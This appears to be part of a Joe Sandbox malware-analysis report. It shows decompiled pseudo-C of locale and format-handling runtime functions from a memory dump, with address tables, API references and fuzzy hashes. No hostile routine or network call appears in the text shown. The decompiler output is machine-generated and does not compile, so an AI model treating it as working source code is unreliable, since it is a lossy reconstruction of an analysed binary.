																				_t192 = _t192 | 0xffffffff;
																				__eflags = _t192;
																			} else {
																				_t192 = _t192 + 1;
																			}
																			 *_t216 = _t192;
																		}
																		__eflags = _t192 - 0xffffffff;
																		if(_t192 == 0xffffffff) {
																			goto L103;
																		}
																		_t179 = _t179 + 1;
																		__eflags = _t179 - _t218;
																		if(_t179 < _t218) {
																			continue;
																		}
																		goto L103;
																	}
																	goto L103;
																}
																__eflags =  *((intOrPtr*)(_t218 + 0x34)) - _t179;
																if( *((intOrPtr*)(_t218 + 0x34)) <= _t179) {
																	goto L91;
																}
																_t194 =  *(_t218 + 0x30);
																_v20 = _t179;
																while(1) {
																	_v24 = _t179;
																	_v32 =  &(_t194[1]);
																	_t145 = E001B707D( &_v24,  &_v16, 6,  *_t194 & 0x0000ffff,  *((intOrPtr*)(_t218 + 8)));
																	_t221 = _t221 + 0x14;
																	__eflags = _t145;
																	if(_t145 != 0) {
																		break;
																	}
																	__eflags = _v24 - _t145;
																	if(_v24 == _t145) {
																		break;
																	}
																	_push( *((intOrPtr*)(_t218 + 8)));
																	E001AFA17(_t218 + 0x448,  &_v16, _v24, _t216);
																	_t194 = _v32;
																	_t149 = _v20 + 1;
																	_v20 = _t149;
																	__eflags = _t149 -  *((intOrPtr*)(_t218 + 0x34));
																	if(_t149 !=  *((intOrPtr*)(_t218 + 0x34))) {
																		continue;
																	}
																	goto L92;
																}
																 *_t216 =  *_t216 | 0xffffffff;
																goto L92;
															}
															_t197 = _t190 >> 2;
															__eflags = _t197 & 0x00000001;
															if((_t197 & 0x00000001) != 0) {
																goto L83;
															}
															_t198 = _v36;
															_v20 = _t179;
															__eflags = _t198;
															if(_t198 <= 0) {
																goto L83;
															}
															_t214 =  *_t216;
															_t219 = _v28;
															while(1) {
																_t150 =  *_t219;
																_v24 = _t150;
																_t180 = _t150;
																__eflags =  *((intOrPtr*)(_t150 + 8)) -  *((intOrPtr*)(_t180 + 4));
																if( *((intOrPtr*)(_t150 + 8)) !=  *((intOrPtr*)(_t180 + 4))) {
																	 *_t216 = _t214 + 1;
																	 *((intOrPtr*)(_t180 + 8)) =  *((intOrPtr*)(_t180 + 8)) + 1;
																	 *( *( *_t219)) = 0x30;
																	_t156 =  *_t219;
																	 *_t156 =  *_t156 + 1;
																	__eflags =  *_t156;
																	_t208 =  *_t216;
																} else {
																	_t159 = _t180;
																	__eflags =  *((char*)(_t159 + 0xc));
																	if( *((char*)(_t159 + 0xc)) == 0) {
																		_t208 = _t208 | 0xffffffff;
																		__eflags = _t208;
																	} else {
																		_t208 = _t208 + 1;
																	}
																	 *_t216 = _t208;
																}
																__eflags = _t208 - 0xffffffff;
																if(_t208 == 0xffffffff) {
																	break;
																}
																_t158 = _v20 + 1;
																_v20 = _t158;
																__eflags = _t158 - _t198;
																if(_t158 < _t198) {
																	continue;
																}
																break;
															}
															_t218 = _v32;
															_t179 = 0;
															__eflags = 0;
															goto L83;
														}
														__eflags = _t208;
														if(_t208 <= 0) {
															goto L70;
														}
														_t217 =  *(_t218 + 0x14);
														_t199 = _t179;
														while(1) {
															_t160 =  *(_t218 + 0x448);
															_t181 =  *(_t218 + 0x448);
															__eflags = _t160[2] - _t181[1];
															if(_t160[2] != _t181[1]) {
																 *(_t218 + 0x14) = _t217 + 1;
																_t181[2] = _t181[2] + 1;
																 *( *( *(_t218 + 0x448))) = 0x20;
																_t166 =  *(_t218 + 0x448);
																 *_t166 =  *_t166 + 1;
																__eflags =  *_t166;
																_t217 =  *(_t218 + 0x14);
															} else {
																__eflags = _t181[3];
																if(_t181[3] == 0) {
																	_t217 = _t217 | 0xffffffff;
																	__eflags = _t217;
																} else {
																	_t217 = _t217 + 1;
																}
																 *(_t218 + 0x14) = _t217;
															}
															__eflags = _t217 - 0xffffffff;
															if(_t217 == 0xffffffff) {
																break;
															}
															_t199 = _t199 + 1;
															__eflags = _t199 - _t208;
															if(_t199 < _t208) {
																continue;
															}
															break;
														}
														_t187 = _v28;
														_t179 = 0;
														__eflags = 0;
														goto L70;
													}
													__eflags = _t211 - 0x41;
													if(_t211 == 0x41) {
														goto L56;
													}
													goto L57;
												}
												__eflags = _t127;
												if(_t127 == 0) {
													goto L58;
												}
												goto L53;
											}
											_t127 = _t179;
											__eflags = _t211 - 0x41;
											if(_t211 != 0x41) {
												goto L51;
											}
											goto L50;
										}
										L47:
										goto L48;
									}
									__eflags = _t211 - 0x58;
									if(_t211 != 0x58) {
										goto L47;
									}
									goto L46;
								}
								_t169 =  *(_t218 + 0x1c) >> 6;
								__eflags = 1 & _t169;
								if((1 & _t169) == 0) {
									__eflags =  *(_t218 + 0x1c) & 1;
									if(( *(_t218 + 0x1c) & 1) == 0) {
										_t171 =  *(_t218 + 0x1c) >> 1;
										__eflags = 1 & _t171;
										if((1 & _t171) != 0) {
											_v20 = 0x20;
											_t187 = 1;
											_v28 = 1;
										}
										goto L44;
									}
									_v20 = 0x2b;
									L41:
									_t187 = 1;
									_v28 = 1;
									goto L44;
								}
								_v20 = 0x2d;
								goto L41;
							}
							L11:
							_t120 = 0;
							goto L105;
						}
						_t173 = _t118;
						__eflags = _t173;
						if(__eflags == 0) {
							L28:
							_t119 = E001AE3CE(_t218, __eflags, _t179);
							goto L10;
						}
						__eflags = _t173 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_t119 = E001AE54B(_t218, __eflags);
						goto L10;
					}
					if(__eflags == 0) {
						_t119 = E001AF88E(__ecx);
						goto L10;
					}
					__eflags = _t117 - 0x67;
					if(_t117 <= 0x67) {
						L29:
						_t119 = E001AF5CE(_t179, _t218);
						goto L10;
					}
					__eflags = _t117 - 0x69;
					if(_t117 == 0x69) {
						L27:
						_t4 = _t218 + 0x1c;
						 *_t4 =  *(_t218 + 0x1c) | 0x00000010;
						__eflags =  *_t4;
						goto L28;
					}
					__eflags = _t117 - 0x6e;
					if(_t117 == 0x6e) {
						_t119 = E001AF7ED(__ecx, __edx);
						goto L10;
					}
					__eflags = _t117 - 0x6f;
					if(_t117 != 0x6f) {
						goto L11;
					}
					_t119 = E001AF871(__ecx);
					goto L10;
				}
				if(_t222 == 0) {
					goto L27;
				}
				_t223 = _t117 - _t183;
				if(_t223 > 0) {
					_t175 = _t117 - 0x5a;
					__eflags = _t175;
					if(_t175 == 0) {
						_t119 = E001AF574(__ecx);
						goto L10;
					}
					_t176 = _t175 - 7;
					__eflags = _t176;
					if(_t176 == 0) {
						goto L29;
					}
					__eflags = _t176;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t119 = E001AF758(_t179, _t218, __eflags, _t179);
					goto L10;
				}
				if(_t223 == 0) {
					_push(1);
					goto L13;
				}
				if(_t117 == 0x41) {
					goto L29;
				}
				if(_t117 == 0x43) {
					goto L17;
				}
				if(_t117 <= 0x44) {
					goto L11;
				}
				if(_t117 <= 0x47) {
					goto L29;
				}
				if(_t117 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x001af192
0x001af192
0x001af19a
0x001af1a1
0x001af1a6
0x001af1a8
0x001af1ac
0x001af1af
0x001af1b0
0x001af1b4
0x001af1b7
0x001af22a
0x001af22d
0x001af27d
0x001af27d
0x001af280
0x001af1e6
0x001af1e8
0x001af1ed
0x001af1ef
0x001af29b
0x001af29e
0x001af510
0x001af510
0x001af512
0x001af51f
0x001af51f
0x001af2a9
0x001af2ad
0x001af2b1
0x001af2b3
0x001af2b6
0x001af2b9
0x001af2bb
0x001af2ef
0x001af2ef
0x001af2f2
0x001af2f5
0x001af2fc
0x001af304
0x001af306
0x001af30a
0x001af30a
0x001af30d
0x001af316
0x001af316
0x001af318
0x001af318
0x001af31a
0x001af320
0x001af320
0x001af325
0x001af328
0x001af333
0x001af335
0x001af336
0x001af336
0x001af33a
0x001af33a
0x001af33d
0x001af340
0x001af346
0x001af348
0x001af34c
0x001af34d
0x001af350
0x001af3b0
0x001af3b0
0x001af3b3
0x001af3c1
0x001af3c7
0x001af3cc
0x001af3d1
0x001af3d4
0x001af3d6
0x001af43c
0x001af43c
0x001af440
0x001af4a4
0x001af4a4
0x001af4b4
0x001af4b9
0x001af4b9
0x001af4bb
0x001af4bd
0x001af50f
0x001af50f
0x00000000
0x001af50f
0x001af4c2
0x001af4c5
0x001af4c7
0x00000000
0x00000000
0x001af4c9
0x001af4cc
0x001af4ce
0x00000000
0x00000000
0x00000000
0x00000000
0x001af4d0
0x001af4d0
0x001af4d3
0x001af4d8
0x001af4db
0x001af4f0
0x001af4f3
0x001af4f5
0x001af4fc
0x001af4ff
0x001af501
0x001af501
0x001af503
0x001af4dd
0x001af4dd
0x001af4e1
0x001af4e6
0x001af4e6
0x001af4e3
0x001af4e3
0x001af4e3
0x001af4e9
0x001af4e9
0x001af505
0x001af508
0x00000000
0x00000000
0x001af50a
0x001af50b
0x001af50d
0x00000000
0x00000000
0x00000000
0x001af50d
0x00000000
0x001af4d0
0x001af442
0x001af445
0x00000000
0x00000000
0x001af447
0x001af44a
0x001af44d
0x001af45c
0x001af463
0x001af467
0x001af46c
0x001af46f
0x001af471
0x00000000
0x00000000
0x001af473
0x001af476
0x00000000
0x00000000
0x001af478
0x001af489
0x001af491
0x001af494
0x001af495
0x001af498
0x001af49b
0x00000000
0x00000000
0x00000000
0x001af49d
0x001af49f
0x00000000
0x001af49f
0x001af3d8
0x001af3db
0x001af3de
0x00000000
0x00000000
0x001af3e0
0x001af3e3
0x001af3e6
0x001af3e8
0x00000000
0x00000000
0x001af3ea
0x001af3ec
0x001af3ef
0x001af3ef
0x001af3f1
0x001af3f4
0x001af3f9
0x001af3fc
0x001af413
0x001af417
0x001af41e
0x001af421
0x001af423
0x001af423
0x001af425
0x001af3fe
0x001af3fe
0x001af400
0x001af404
0x001af409
0x001af409
0x001af406
0x001af406
0x001af406
0x001af40c
0x001af40c
0x001af427
0x001af42a
0x00000000
0x00000000
0x001af42f
0x001af430
0x001af433
0x001af435
0x00000000
0x00000000
0x00000000
0x001af435
0x001af437
0x001af43a
0x001af43a
0x00000000
0x001af43a
0x001af352
0x001af354
0x00000000
0x00000000
0x001af356
0x001af359
0x001af35b
0x001af35b
0x001af361
0x001af36a
0x001af36d
0x001af383
0x001af388
0x001af393
0x001af396
0x001af39c
0x001af39c
0x001af39e
0x001af36f
0x001af36f
0x001af373
0x001af378
0x001af378
0x001af375
0x001af375
0x001af375
0x001af37b
0x001af37b
0x001af3a1
0x001af3a4
0x00000000
0x00000000
0x001af3a6
0x001af3a7
0x001af3a9
0x00000000
0x00000000
0x00000000
0x001af3a9
0x001af3ab
0x001af3ae
0x001af3ae
0x00000000
0x001af3ae
0x001af32a
0x001af32d
0x00000000
0x00000000
0x00000000
0x001af32f
0x001af31c
0x001af31e
0x00000000
0x00000000
0x00000000
0x001af31e
0x001af30f
0x001af311
0x001af314
0x00000000
0x00000000
0x00000000
0x001af314
0x001af308
0x00000000
0x001af308
0x001af2f7
0x001af2fa
0x00000000
0x00000000
0x00000000
0x001af2fa
0x001af2c0
0x001af2c3
0x001af2c5
0x001af2cd
0x001af2d0
0x001af2e0
0x001af2e2
0x001af2e4
0x001af2e6
0x001af2ea
0x001af2ec
0x001af2ec
0x00000000
0x001af2e4
0x001af2d2
0x001af2d6
0x001af2d6
0x001af2d8
0x00000000
0x001af2d8
0x001af2c7
0x00000000
0x001af2c7
0x001af1f5
0x001af1f5
0x00000000
0x001af1f5
0x001af287
0x001af287
0x001af28a
0x001af25b
0x001af25e
0x00000000
0x001af25e
0x001af28c
0x001af28f
0x00000000
0x00000000
0x001af295
0x001af1fe
0x001af200
0x00000000
0x001af200
0x001af22f
0x001af273
0x00000000
0x001af273
0x001af231
0x001af234
0x001af265
0x001af267
0x00000000
0x001af267
0x001af236
0x001af239
0x001af257
0x001af257
0x001af257
0x001af257
0x00000000
0x001af257
0x001af23b
0x001af23e
0x001af250
0x00000000
0x001af250
0x001af240
0x001af243
0x00000000
0x00000000
0x001af247
0x00000000
0x001af247
0x001af1b9
0x00000000
0x00000000
0x001af1bf
0x001af1c1
0x001af207
0x001af207
0x001af20a
0x001af223
0x00000000
0x001af223
0x001af20c
0x001af20c
0x001af20f
0x00000000
0x00000000
0x001af212
0x001af215
0x00000000
0x00000000
0x001af217
0x001af21a
0x00000000
0x001af21a
0x001af1c3
0x001af1fc
0x00000000
0x001af1fc
0x001af1c8
0x00000000
0x00000000
0x001af1d1
0x00000000
0x00000000
0x001af1d6
0x00000000
0x00000000
0x001af1db
0x00000000
0x00000000
0x001af1e4
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 001AF320

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 1636bf58d41346b0466d06ec367d0e513563f2fcd98564c5848b78b65dfcadf8
Instruction ID: e6b8d9f295fe675aa1848f6192df8251e0bca616d07dfcbfd1ac79acc1c6921c
Opcode Fuzzy Hash: 1636bf58d41346b0466d06ec367d0e513563f2fcd98564c5848b78b65dfcadf8
Instruction Fuzzy Hash: 16C1AB7CA006468FCB28CFA8C4806BEBBA1BF5B314F24462ED49697691D730ED47CB51

Uniqueness

Uniqueness Score: -1.00%

Function 001C15BA Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E001C15BA(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				signed int _t21;
				void* _t23;
				void* _t30;
				void* _t32;
				signed int _t41;
				signed int* _t47;
				int _t49;
				signed int _t50;

				_t46 = __edx;
				_t15 =  *0x1d5010; // 0x8121a627
				_v8 = _t15 ^ _t50;
				_t48 = _a4;
				_t32 = E001B782A(__ecx, __edx, _a4);
				_t47 =  *(E001B782A(__ecx, __edx, _a4) + 0x34c);
				_t49 = E001C168F(_t48);
				asm("sbb ecx, ecx");
				_t21 = GetLocaleInfoW(_t49, ( ~( *(_t32 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78);
				if(_t21 != 0) {
					_t23 = E001BDE74(_t47, _t49,  *((intOrPtr*)(_t32 + 0x50)),  &_v248);
					_t41 =  *(_t32 + 0x60);
					if(_t23 != 0) {
						if(_t41 == 0 &&  *((intOrPtr*)(_t32 + 0x5c)) != _t41) {
							_t30 = E001BDE74(_t47, _t49,  *((intOrPtr*)(_t32 + 0x50)),  &_v248);
							if(_t30 == 0) {
								_push(_t47);
								_push(_t30);
								goto L9;
							}
						}
					} else {
						if(_t41 != 0) {
							L10:
							 *_t47 =  *_t47 | 0x00000004;
							_t47[1] = _t49;
							_t47[2] = _t49;
						} else {
							_push(_t47);
							_push(1);
							L9:
							_push(_t49);
							if(E001C17E9() != 0) {
								goto L10;
							}
						}
					}
					_t27 =  !( *_t47 >> 2) & 0x00000001;
				} else {
					 *_t47 =  *_t47 & _t21;
					_t27 = _t21 + 1;
				}
				return E001A9545(_t27, _t32, _v8 ^ _t50, _t46, _t47, _t49);
			}

0x001c15ba
0x001c15c5
0x001c15cc
0x001c15d1
0x001c15da
0x001c15e2
0x001c15f1
0x001c15fd
0x001c160e
0x001c1616
0x001c1627
0x001c162e
0x001c1633
0x001c1640
0x001c1651
0x001c165a
0x001c165c
0x001c165d
0x00000000
0x001c165d
0x001c165a
0x001c1635
0x001c1637
0x001c166b
0x001c166b
0x001c166e
0x001c1671
0x001c1639
0x001c1639
0x001c163a
0x001c165e
0x001c165e
0x001c1669
0x00000000
0x00000000
0x001c1669
0x001c1637
0x001c167b
0x001c1618
0x001c1618
0x001c161a
0x001c161a
0x001c168c

APIs

Part of subcall function 001B782A: GetLastError.KERNEL32(?,00000008,001BDC99), ref: 001B782E
Part of subcall function 001B782A: SetLastError.KERNEL32(00000000,001D43C0,00000024,001B2DC9), ref: 001B78D0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001C160E

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a9a8eb75653d98a743b563184ec87456af298b7afeb52f49119fd4968bb9b121
Instruction ID: 17d6fde96be878146f903eec0b8953b6ac5fb151889c294d46ced10786c9896b
Opcode Fuzzy Hash: a9a8eb75653d98a743b563184ec87456af298b7afeb52f49119fd4968bb9b121
Instruction Fuzzy Hash: 6221B072644216ABDB289A25DC46FBA73A8EF66311B14017EFD01C6182FBB4ED44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001C1241 Relevance: 1.6, APIs: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E001C1241(void* __ecx, void* __edx, signed int* _a4) {
				void* __esi;
				intOrPtr _t26;
				intOrPtr _t29;
				signed int _t32;
				signed char _t33;
				signed char _t34;
				intOrPtr* _t38;
				intOrPtr* _t41;
				signed int _t47;
				void* _t50;
				void* _t51;
				signed int* _t52;
				void* _t53;
				void* _t54;
				signed int _t62;

				_t54 = E001B782A(__ecx, __edx, _t53);
				_t47 = 2;
				_t38 =  *((intOrPtr*)(_t54 + 0x50));
				_t50 = _t38 + 2;
				do {
					_t26 =  *_t38;
					_t38 = _t38 + _t47;
				} while (_t26 != 0);
				_t41 =  *((intOrPtr*)(_t54 + 0x54));
				 *(_t54 + 0x60) = 0 | _t38 - _t50 >> 0x00000001 == 0x00000003;
				_t51 = _t41 + 2;
				do {
					_t29 =  *_t41;
					_t41 = _t41 + _t47;
				} while (_t29 != 0);
				_t52 = _a4;
				 *(_t54 + 0x64) = 0 | _t41 - _t51 >> 0x00000001 == 0x00000003;
				_t52[1] = 0;
				if( *(_t54 + 0x60) == 0) {
					_t47 = E001C133B( *((intOrPtr*)(_t54 + 0x50)));
				}
				 *(_t54 + 0x5c) = _t47;
				_t32 = EnumSystemLocalesW(E001C1367, 1);
				_t62 =  *_t52 & 0x00000007;
				asm("bt ecx, 0x9");
				_t33 = _t32 & 0xffffff00 | _t62 > 0x00000000;
				asm("bt ecx, 0x8");
				_t34 = _t33 & 0xffffff00 | _t62 > 0x00000000;
				if((_t34 & (_t47 & 0xffffff00 | _t62 != 0x00000000) & _t33) == 0) {
					 *_t52 = 0;
					return _t34;
				}
				return _t34;
			}

0x001c124e
0x001c1254
0x001c1255
0x001c1258
0x001c125b
0x001c125b
0x001c125e
0x001c1260
0x001c126e
0x001c1274
0x001c1277
0x001c127a
0x001c127a
0x001c127d
0x001c127f
0x001c1288
0x001c1293
0x001c1296
0x001c129c
0x001c12a7
0x001c12a7
0x001c12b0
0x001c12b3
0x001c12bb
0x001c12c1
0x001c12c5
0x001c12ca
0x001c12ce
0x001c12d3
0x001c12d5
0x00000000
0x001c12d5
0x001c12db

APIs

Part of subcall function 001B782A: GetLastError.KERNEL32(?,00000008,001BDC99), ref: 001B782E
Part of subcall function 001B782A: SetLastError.KERNEL32(00000000,001D43C0,00000024,001B2DC9), ref: 001B78D0

EnumSystemLocalesW.KERNEL32(001C1367,00000001,00000000,?,-00000050,?,001C1998,00000000,?,?,?,00000055,?), ref: 001C12B3

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0a86de133fd63810f1ae086fb1be72e58d888571f35a29ae3f3900c3c2328f67
Instruction ID: 0b3bb114c15d7f39c77f731081dcf1e7aa3c98c7e86ed9f7fd84d44bece6f870
Opcode Fuzzy Hash: 0a86de133fd63810f1ae086fb1be72e58d888571f35a29ae3f3900c3c2328f67
Instruction Fuzzy Hash: 4511293B2043016FDB189F39C891ABAB7A1FF95728B14442DEA8787B41D371E943C740

Uniqueness

Uniqueness Score: -1.00%

Function 001C17E9 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E001C17E9(signed int _a4, intOrPtr _a8) {
				short _v8;
				void* __ecx;
				void* __esi;
				void* _t8;
				void* _t11;
				intOrPtr _t13;
				void* _t15;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t25;
				signed int _t26;
				intOrPtr* _t28;

				_push(_t15);
				_push(_t25);
				_t8 = E001B782A(_t15, _t21, _t25);
				_t26 = _a4;
				_t23 = _t8;
				if(GetLocaleInfoW(_t26 & 0x000003ff | 0x00000400, 0x20000001,  &_v8, 2) == 0) {
					L7:
					_t11 = 0;
				} else {
					if(_t26 == _v8 || _a8 == 0) {
						L6:
						_t11 = 1;
					} else {
						_t28 =  *((intOrPtr*)(_t23 + 0x50));
						_t19 = _t28 + 2;
						do {
							_t13 =  *_t28;
							_t28 = _t28 + 2;
						} while (_t13 != 0);
						if(E001C133B( *((intOrPtr*)(_t23 + 0x50))) == _t28 - _t19 >> 1) {
							goto L7;
						} else {
							goto L6;
						}
					}
				}
				return _t11;
			}

0x001c17ee
0x001c17ef
0x001c17f1
0x001c17f6
0x001c17f9
0x001c181d
0x001c1851
0x001c1851
0x001c181f
0x001c1822
0x001c184c
0x001c184e
0x001c182a
0x001c182a
0x001c182d
0x001c1830
0x001c1830
0x001c1833
0x001c1836
0x001c184a
0x00000000
0x00000000
0x00000000
0x00000000
0x001c184a
0x001c1822
0x001c1856

APIs

Part of subcall function 001B782A: GetLastError.KERNEL32(?,00000008,001BDC99), ref: 001B782E
Part of subcall function 001B782A: SetLastError.KERNEL32(00000000,001D43C0,00000024,001B2DC9), ref: 001B78D0

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,001C1583,00000000,00000000,?), ref: 001C1815

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a54db48eff7f8f6d1fb7f9c0e29d8a1d893355b20ccbe29d2c8dadc37b0323c2
Instruction ID: 5682cffbf22478fba0de50ed0454a9eaa76879be0e3e8fa9990a332027f9ecbe
Opcode Fuzzy Hash: a54db48eff7f8f6d1fb7f9c0e29d8a1d893355b20ccbe29d2c8dadc37b0323c2
Instruction Fuzzy Hash: 8DF02D369841117BDB285760CC05FFA7768EF51754F05442CEC05A3181EB70FD41C6D0

Uniqueness

Uniqueness Score: -1.00%

Function 001C12DC Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001C12DC(void* __ecx, void* __edx, signed char* _a4) {
				void* __esi;
				intOrPtr _t11;
				signed char* _t15;
				intOrPtr* _t19;
				intOrPtr _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t27 = E001B782A(__ecx, __edx, _t26);
				_t24 = 2;
				_t19 =  *((intOrPtr*)(_t27 + 0x50));
				_t25 = _t19 + 2;
				do {
					_t11 =  *_t19;
					_t19 = _t19 + _t24;
				} while (_t11 != 0);
				_t4 = _t19 - _t25 >> 1 == 3;
				 *(_t27 + 0x60) = 0 | _t4;
				if(_t4 != 0) {
					_t24 = E001C133B( *((intOrPtr*)(_t27 + 0x50)));
				}
				 *((intOrPtr*)(_t27 + 0x5c)) = _t24;
				EnumSystemLocalesW(E001C15BA, 1);
				_t15 = _a4;
				if(( *_t15 & 0x00000004) == 0) {
					 *_t15 = 0;
					return _t15;
				}
				return _t15;
			}

0x001c12e9
0x001c12ef
0x001c12f0
0x001c12f3
0x001c12f6
0x001c12f6
0x001c12f9
0x001c12fb
0x001c1309
0x001c130c
0x001c130f
0x001c131a
0x001c131a
0x001c1323
0x001c1326
0x001c132c
0x001c1332
0x001c1334
0x00000000
0x001c1334
0x001c133a

APIs

Part of subcall function 001B782A: GetLastError.KERNEL32(?,00000008,001BDC99), ref: 001B782E
Part of subcall function 001B782A: SetLastError.KERNEL32(00000000,001D43C0,00000024,001B2DC9), ref: 001B78D0

EnumSystemLocalesW.KERNEL32(001C15BA,00000001,?,?,-00000050,?,001C195C,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 001C1326

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e89732145c64bbd5d22df6fa8635ec98ca36002f345cd272a68320cb4384c798
Instruction ID: d268d90a95a0e9493f77a38111781250497e03dea06c19b42bd7db79ef108596
Opcode Fuzzy Hash: e89732145c64bbd5d22df6fa8635ec98ca36002f345cd272a68320cb4384c798
Instruction Fuzzy Hash: 99F022362043046FCB245F349881FAA7B91FF92728B14842DFA028BA82D3B1DC03CA40

Uniqueness

Uniqueness Score: -1.00%

Function 001B8708 Relevance: 1.5, APIs: 1, Instructions: 33
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E001B8708(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				signed int _t29;
				void* _t31;

				_push(0xc);
				_push(0x1d42c0);
				E001AA2B0(__ebx, __edi, __esi);
				 *(_t31 - 0x1c) =  *(_t31 - 0x1c) & 0x00000000;
				E001AFF95( *((intOrPtr*)( *((intOrPtr*)(_t31 + 8)))));
				 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				 *0x203458 = E001B3546( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t31 + 0xc)))))));
				_t29 = EnumSystemLocalesW(E001B86FB, 1);
				_t17 =  *0x1d5010; // 0x8121a627
				 *0x203458 = _t17;
				 *(_t31 - 0x1c) = _t29;
				 *(_t31 - 4) = 0xfffffffe;
				E001B8778();
				 *[fs:0x0] =  *((intOrPtr*)(_t31 - 0x10));
				return _t29;
			}

0x001b8708
0x001b870a
0x001b870f
0x001b8714
0x001b871d
0x001b8723
0x001b8734
0x001b8746
0x001b8748
0x001b874d
0x001b8752
0x001b8755
0x001b875c
0x001b8766
0x001b8772

APIs

Part of subcall function 001AFF95: EnterCriticalSection.KERNEL32(?,?,001B7502,?,001D4200,00000008,001B76C6,?,?,?), ref: 001AFFA4

EnumSystemLocalesW.KERNEL32(001B86FB,00000001,001D42C0,0000000C,001B8B2A,00000000), ref: 001B8740

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 1823130d366ada9580dd0fd686b54e6325bbe941f853aceab954b191c0896de4
